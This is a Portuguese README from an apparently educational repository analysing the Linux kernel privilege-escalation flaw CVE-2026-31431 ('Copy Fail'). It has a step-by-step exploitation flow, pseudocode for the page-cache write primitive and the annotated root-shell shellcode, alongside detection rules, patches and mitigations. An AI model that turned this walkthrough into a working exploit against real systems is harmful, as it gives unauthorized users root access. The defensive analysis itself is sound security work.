Análise técnica educacional de uma das vulnerabilidades mais significativas do kernel Linux desde o Dirty Pipe (2022).
Este repositório é voltado para pesquisa, estudo e defesa. Nenhum exploit funcional é distribuído aqui.
- O que é?
- Para leigos: a analogia
- Linha do tempo
- Como funciona tecnicamente
- O shellcode analisado
- Comparação com vulnerabilidades similares
- Sistemas afetados
- Android é afetado?
- Detecção
- Mitigação e patches
- Implementações de estudo
- Referências
CVE-2026-31431, apelidada de Copy Fail, é uma vulnerabilidade de escalonamento local de privilégios (LPE — Local Privilege Escalation) no kernel Linux. Ela permite que qualquer usuário sem privilégios obtenha acesso root em questão de segundos.
| Atributo | Valor |
|---|---|
| CVE | CVE-2026-31431 |
| CVSS Score | 7.8 HIGH |
| Tipo | Local Privilege Escalation (LPE) |
| Subsistema | crypto/algif_aead.c — AF_ALG |
| Introduzida em | Kernel 4.14 (commit 72548b093ee3, julho 2017) |
| Corrigida em | 6.18.22 / 6.19.12 / 7.0 (commit a664bf3d603d) |
| Descoberta por | Taeyang Lee — Theori / Xint Code |
| Divulgação pública | 29 de abril de 2026 |
| PoC público | Sim — script Python de ~732 bytes |
Imagine que o sistema operacional tem uma memória de trabalho (chamada de page cache) onde guarda cópias dos arquivos que estão sendo usados. Quando você executa um programa, o sistema carrega esse programa nessa memória e o executa a partir dali — não diretamente do disco.
A Copy Fail permite que um usuário comum altere essa cópia em memória de um programa especial (um binário setuid, como o comando su) sem tocar no arquivo original no disco. O arquivo no disco continua intacto, mas quando o programa é executado, o sistema lê a versão corrompida da memória.
É como trocar a receita de um prato na memória de um chef enquanto ele está cozinhando — o livro de receitas original não muda, mas o prato que sai é completamente diferente.
O resultado: o programa corrompido executa código do atacante com permissões de root.
O que torna isso especialmente perigoso:
- Não há janela de condição de corrida — é determinístico
- Não deixa rastro no disco (forense de disco não detecta)
- Funciona em praticamente todas as distribuições Linux desde 2017
- O exploit original tem apenas ~700 bytes de Python
2015 → AF_ALG ganha suporte a AEAD (algif_aead.c)
authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)
2017 → Commit 72548b093ee3: otimização converte operação para in-place
req->src = req->dst → páginas do page cache entram na scatterlist de escrita
BUG INTRODUZIDO — passa despercebido por ~9 anos
2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux
Descoberta assistida por IA (Xint Code — ~1h de scan)
2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017
2026 Abr 22 → CVE-2026-31431 atribuída
2026 Abr 29 → Divulgação pública + PoC Python liberado
Arch Linux, Fedora, Amazon Linux já com patches
Ubuntu, RHEL, SUSE publicam guidance de mitigação
2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux
Adicionado ao CISA KEV (Known Exploited Vulnerabilities)
Exploits em Go e Rust aparecem em repositórios públicos
Atacante (usuário sem privilégios)
│
├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
│ Cria socket de criptografia no kernel
│ bind: "authencesn(hmac(sha256),cbc(aes))"
│
├─ 2. setsockopt: define chave AEAD + authsize=4
│
├─ 3. accept() → op_socket
│
├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
│ AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
│
├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
│ CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
│ As páginas do arquivo agora estão no destino GRAVÁVEL da operação
│
├─ 6. recv() → dispara o authencesn
│ authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
│ Escreve 4 bytes em dst[assoclen + cryptlen]
│ = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
│ HMAC falha → retorna EBADMSG → IGNORADO
│
└─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
Executa o binário alvo → root shell
O bug vive em crypto/algif_aead.c. Em 2017, a operação AEAD foi convertida para in-place para ganhar performance:
// Antes (seguro): req->src e req->dst são scatterlists separadas
// Depois (bugado, commit 72548b093ee3):
req->src = req->dst; // mesma scatterlist para entrada e saída
// Para a tag de autenticação, em vez de copiar, o código encadeia por referência:
sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl);
// ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDAO algoritmo authencesn usa o buffer de destino como scratch space para reorganizar bytes do Extended Sequence Number (ESN) do IPsec:
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// offset que ultrapassa o output buffer
// e cai nas páginas do page cache encadeadasA escrita contorna completamente o VFS. A página modificada nunca é marcada como dirty pelo mecanismo de writeback do kernel. O arquivo em disco permanece intacto. Ferramentas de integridade baseadas em hash (aide, tripwire, inotifywait) não detectam nada porque monitoram o disco, não o page cache.
O exploit embute um mini-ELF de 160 bytes comprimido com zlib. Após descompressão, a parte executável é:
; Offset 0x78 no arquivo ELF (entry point)
xor eax, eax ; limpa registradores
xor edi, edi ; uid = 0
mov al, 0x69 ; syscall 105 = setuid
syscall ; setuid(0) → effective UID = root
lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0"
xor esi, esi ; argv = NULL
push 0x3b ; syscall 59 = execve
pop rax
cdq ; rdx = 0 (envp = NULL)
syscall ; execve("/bin/sh", NULL, NULL)
; Fallback
xor edi, edi
push 0x3c ; syscall 60 = exit
pop rax
syscall ; exit(0)
bin_sh: db "/bin/sh", 0Estrutura do ELF mínimo (160 bytes total):
Offset 0x00–0x3F → ELF64 Header (64 bytes)
e_type=ET_EXEC, e_machine=EM_X86_64
e_entry=0x400078, e_phnum=1
Offset 0x40–0x77 → Program Header PT_LOAD (56 bytes)
p_flags=PF_R|PF_X, p_vaddr=0x400000
p_filesz=0x9e
Offset 0x78–0x9D → Shellcode (26 bytes código + "/bin/sh\0")
| Dirty Cow (2016) | Dirty Pipe (2022) | Copy Fail (2026) | |
|---|---|---|---|
| CVE | CVE-2016-5195 | CVE-2022-0847 | CVE-2026-31431 |
| Tipo | Race condition em CoW | Pipe buffer sem flags | Logic bug em AEAD |
| Confiabilidade | Race-dependent (~ms) | Determinístico | Determinístico |
| Rastro em disco | Sim (dirty pages) | Não | Não |
| Portabilidade | Ampla | Versões específicas | Universal (2017–2026) |
| Tamanho do PoC | ~50 linhas C | ~40 linhas C | ~10 linhas Python |
| Subsistema | mm/ (CoW) | fs/ (pipe) | crypto/ (AF_ALG) |
| Descoberta | Manual | Manual | AI-assisted |
| Janela de exploração | Race window | Nenhuma | Nenhuma |
Versões do kernel:
- Introduzida: Linux 4.14 (julho 2017)
- Corrigida: 6.18.22, 6.19.12, 7.0
Distribuições com exploits funcionais confirmados:
- Ubuntu 24.04 LTS
- Amazon Linux 2023
- Red Hat Enterprise Linux 10.1
- SUSE Linux Enterprise 16
- Debian, Fedora, Arch Linux, AlmaLinux, Rocky Linux
Condição necessária: CONFIG_CRYPTO_USER_API_AEAD=y ou =m no kernel
Verificar se o sistema está exposto:
# Verifica se o módulo está disponível
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
# =y → built-in (mais difícil de desabilitar)
# =m → módulo carregável (pode ser bloqueado via modprobe)
# (ausente) → não afetado
# Teste direto (não causa dano, apenas testa acesso):
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('⚠️ EXPOSTO: algif_aead acessível')
s.close()
except Exception as e:
print(f'✅ Bloqueado: {e}')
"Resposta curta: Android padrão (AOSP/GKI) não é vulnerável na prática, mas dispositivos com configurações não-padrão merecem verificação.
Pré-requisito Android AOSP/GKI padrão Android OEM/rooteado
──────────────────────────────────────────────────────────────────────────────
Kernel na faixa afetada ✅ Sim (Android 12–16) ✅ Sim
algif_aead habilitado ❌ Não (fora do GKI) ⚠️ Possível (OEM config)
AF_ALG acessível a apps ❌ Bloqueado SELinux+seccomp ⚠️ Depende da policy
Binário setuid disponível ❌ Android não usa setuid ⚠️ Apenas builds eng/root
──────────────────────────────────────────────────────────────────────────────
Exploração via APK ❌ Inviável ❌ Inviável
Exploração via ADB shell ❌ Bloqueado por SELinux ⚠️ Possível (permissive)
1. CONFIG_CRYPTO_USER_API_AEAD ausente no GKI
O Google não inclui essa opção no gki_defconfig arm64 padrão. O Android usa BoringSSL em userspace para criptografia, não depende de AF_ALG.
2. SELinux enforcing
A domain untrusted_app do SELinux do Android não possui permissão create para AF_ALG. A chamada socket(AF_ALG, SOCK_SEQPACKET, 0) é negada com EACCES antes de chegar ao subsistema de criptografia.
3. Seccomp-bpf
Apps Android rodam com filtro seccomp que bloqueia socket() com domain=AF_ALG — não está na whitelist de syscalls permitidas para aplicativos de terceiros.
4. Ausência de binários setuid
O Android não usa o modelo setuid do Linux tradicional. Binários privilegiados usam capabilities específicas ou rodam como serviços com UIDs dedicados. Não há /usr/bin/su em builds de produção AOSP.
| Cenário | Risco |
|---|---|
| Dispositivo com Magisk/KernelSU + SELinux permissive | Alto — todos os pré-requisitos podem se alinhar |
Kernel OEM com CONFIG_CRYPTO_USER_API_AEAD=y + eng build |
Médio — depende do acesso shell |
| App malicioso em dispositivo não-rooteado | Nenhum — SELinux + seccomp bloqueiam |
| ADB em build de produção | Nenhum — adb root não funciona |
# Verificar config do kernel
adb shell zcat /proc/config.gz | grep CRYPTO_USER_API_AEAD
# Verificar modo SELinux
adb shell getenforce
# Enforcing = protegido / Permissive = risco potencial
# Teste direto (requer adb shell funcional)
adb shell python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead','authencesn(hmac(sha256),cbc(aes))'))
print('EXPOSTO')
except Exception as e:
print('Bloqueado:', e)
" 2>/dev/null || echo "python3 não disponível no device"
# Procurar binários setuid (incomum em Android padrão)
adb shell find /system /vendor -perm -4000 -type f 2>/dev/null- rule: Copy Fail - AF_ALG AEAD Socket por processo não autorizado
desc: >
Detecta criação de socket AF_ALG SOCK_SEQPACKET por processo fora da
toolchain de criptografia de disco. Primeiro passo obrigatório do CVE-2026-31431.
condition: >
evt.type = socket
and evt.rawres >= 0
and (evt.arg.domain = 38 or evt.arg.domain contains AF_ALG)
and (evt.arg.type = 5 or evt.arg.type = 2053)
and not proc.name in (cryptsetup, systemd-cryptsetup, veritysetup,
integritysetup, kcapi-enc, kcapi-dgst)
output: >
AF_ALG AEAD socket por processo suspeito
(proc=%proc.name pid=%proc.pid user=%user.name cmd=%proc.cmdline)
priority: CRITICAL
tags: [CVE-2026-31431, kernel, privilege_escalation]# Processo Python que abre AF_ALG seguido de execução de shell
# strace de processo suspeito mostrando:
# socket(AF_ALG=38, SOCK_SEQPACKET, 0)
# bind(..., "authencesn(hmac(sha256),cbc(aes))", ...)
# splice(...) ← arquivo → pipe → socket
# recvmsg(...)
# Seguido de:
# setuid(0)
# execve("/bin/sh", ...)
# Red flags nos logs do sistema:
# - Processo não-root com UID transitioning para 0
# - python3 como parent de sh/bash
# - Sequência socket+splice+recv em processo de usuário comum# Page cache pode ser limpo com:
echo 3 > /proc/sys/vm/drop_caches
# Isso desfaz a corrupção em memória (sem trocar o binário em disco)
# Verificar integridade do binário em execução vs. disco:
# (não detecta a corrupção enquanto a página está no cache)
sha256sum /usr/bin/su
# Compare com o hash de referência da distribuição# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-generic
sudo reboot
# RHEL / AlmaLinux / Rocky Linux
sudo dnf upgrade kernel
sudo reboot
# Fedora
sudo dnf upgrade kernel
sudo reboot
# Arch Linux
sudo pacman -Syu linux
sudo reboot
# Verificar versão após reboot:
uname -r
# Deve ser >= 6.18.22 ou >= 6.19.12 conforme sua sérieVersões corrigidas por série:
| Série | Versão corrigida |
|---|---|
| 5.10.x | 5.10.254 |
| 5.15.x | 5.15.204 |
| 6.1.x | 6.1.170 |
| 6.6.x | 6.6.137 |
| 6.12.x | 6.12.85 |
| 6.18.x | 6.18.22 |
| 6.19.x | 6.19.12 |
| 7.0+ | 7.0 (fix included) |
Se CONFIG_CRYPTO_USER_API_AEAD=m (módulo carregável):
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null || trueSe CONFIG_CRYPTO_USER_API_AEAD=y (built-in — caso RHEL/Rocky/CloudLinux):
⚠️ O comando acima não funciona quando o módulo está compilado no kernel.
# Use o initcall_blacklist via grubby:
grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
sudo reboot
# Verificar se o mitigation está ativo:
cat /proc/cmdline | grep algif_aead_initConfirmar que o workaround está funcionando:
python3 -c "
import socket
try:
s = socket.socket(38, 5, 0)
s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))
print('❌ MITIGAÇÃO FALHOU — socket ainda acessível')
except:
print('✅ Mitigação ativa — socket bloqueado')
"Compatibilidade do workaround:
O bloqueio do algif_aead não afeta dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS, SSH. Apenas afeta aplicações que explicitamente usam AF_ALG para AEAD (raro — ex: OpenSSL com engine afalg, hardware crypto offload).
# Perfil seccomp para bloquear AF_ALG em containers:
{
"syscalls": [{
"names": ["socket"],
"action": "SCMP_ACT_ERRNO",
"args": [{
"index": 0,
"value": 38,
"op": "SCMP_CMP_EQ"
}]
}]
}Este repositório documenta o mecanismo do exploit em múltiplas linguagens para fins educacionais. O foco é entender como a vulnerabilidade funciona, não distribuir ferramentas ofensivas.
função escreve_4_bytes_no_page_cache(arquivo, offset, bytes[4]):
alg = socket(AF_ALG, SEQPACKET)
alg.bind("authencesn(hmac(sha256),cbc(aes))")
alg.set_key(chave_36_bytes)
alg.set_authsize(4) ← 4 bytes = tamanho do write primitivo
op = alg.accept()
# O segredo: bytes[0:4] vão para posições [4:8] do AAD
# authencesn lerá isso como seqno_lo e escreverá no page cache
aad = [0,0,0,0] + bytes ← [seqno_hi=0][seqno_lo=bytes_desejados]
op.sendmsg(aad + bytes, [OP_DECRYPT, IV_16B, assoclen=8])
pipe_r, pipe_w = pipe()
splice(arquivo → pipe_w, len=offset+4, src_offset=0)
splice(pipe_r → op, len=offset+4)
# ↑ Injeta page cache na scatterlist do AF_ALG
op.recv() ← dispara authencesn → escrita acontece → EBADMSG ignorado
# Uso:
elf_payload = descomprime(payload_zlib)
fd = open("/usr/bin/su", O_RDONLY)
para cada chunk[4] em elf_payload:
escreve_4_bytes_no_page_cache(fd, offset, chunk)
executa("/usr/bin/su") ← agora executa nosso ELF → root
| Linguagem | Descrição |
|---|---|
| Python (deobfuscado) | Versão limpa e comentada do PoC original |
| NASM x86_64 | O ELF payload anotado instrução por instrução |
| Go | Usando syscall.RawSyscall6 para SYS_SPLICE e SYS_SETSOCKOPT diretamente |
| C | Implementação com struct msghdr, CMSG_DATA, e zlib runtime |
O arquivo copyfail_study.md contém as implementações completas e comentadas.
O shellcode recuperado (após descompressão zlib do PoC) faz:
1. setuid(0) → syscall 105 (0x69)
2. execve("/bin/sh",0,0) → syscall 59 (0x3b) com /bin/sh como string inline
3. exit(0) → syscall 60 (0x3c) — fallback
Total: 26 bytes de código + 8 bytes de string = 34 bytes de shellcode dentro de um ELF de 160 bytes.
Este repositório tem finalidade exclusivamente educacional e de pesquisa em segurança defensiva. O conteúdo aqui presente destina-se a:
- Profissionais de segurança ofensiva e defensiva
- Pesquisadores de vulnerabilidades
- Estudantes de segurança da informação
- Administradores de sistemas que precisam entender o risco para mitigá-lo
Não utilize este conhecimento em sistemas sem autorização explícita do proprietário. O acesso não autorizado a sistemas computacionais é crime em praticamente todas as jurisdições (no Brasil, Lei 12.737/2012 — Lei Carolina Dieckmann; Lei 14.155/2021).
Última atualização: maio de 2026
Contribuições bem-vindas via PR — mantenha o foco educacional e defensivo.